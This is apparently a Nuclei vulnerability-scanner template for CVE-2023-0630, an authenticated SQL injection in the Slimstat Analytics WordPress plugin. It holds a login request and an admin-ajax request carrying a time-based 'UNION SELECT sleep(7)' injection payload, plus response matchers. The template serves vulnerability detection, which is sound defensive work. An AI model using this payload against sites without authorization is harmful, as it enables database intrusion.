nuclei-templates/http/cves/2023/CVE-2023-0630.yaml

56 lines
1.9 KiB
YAML

id: CVE-2023-0630
info:
name: Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection
author: DhiyaneshDK
severity: high
description: |
The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.
remediation: Fixed in version 4.9.3.3
reference:
- https://wpscan.com/vulnerability/b82bdd02-b699-4527-86cc-d60b56ab0c55
- https://wordpress.org/plugins/wp-slimstat
- https://nvd.nist.gov/vuln/detail/CVE-2023-0630
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-0630
cwe-id: CWE-89
epss-score: 0.06634
epss-percentile: 0.93058
cpe: cpe:2.3:a:wp-slimstat:slimstat_analytics:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wp-slimstat
product: slimstat_analytics
framework: wordpress
tags: wpscan,cve,cve2023,wp-slimstat,wp,wp-plugin,sqli,wordpress,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'duration_2>=7'
- 'status_code_2 == 200'
- 'contains(content_type_2, "application/json")'
- 'contains(body_2, "audioShortcodeLibrary")'
condition: and
# digest: 4b0a00483046022100cb0dc4f9f71721f144375d64ce53b9b0eae7034b0f61a0e4106dc24c54bd8e1d022100dd38bf5cd1d5ec65f8a82994eafdfd423ecd0318fdc4a96fb2eb033e5f098746:922c64590222798bb761d5b6d8e72950